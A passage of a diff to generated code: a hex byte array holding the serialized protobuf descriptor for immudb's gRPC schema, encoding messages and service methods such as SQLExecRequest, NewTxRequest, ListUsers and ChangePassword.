0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, + 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, + 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, + 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, + 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, + 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, + 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, + 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, + 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, + 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, - 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, - 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, - 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, - 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, - 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, - 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, - 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, - 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, - 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, - 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, - 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, - 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, - 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, - 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, - 0x44, 0x65, 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, - 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, - 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, - 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, - 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, - 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, - 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, - 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, - 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, - 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, - 0x65, 0x10, 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, - 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, - 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, - 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, - 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, - 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, - 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 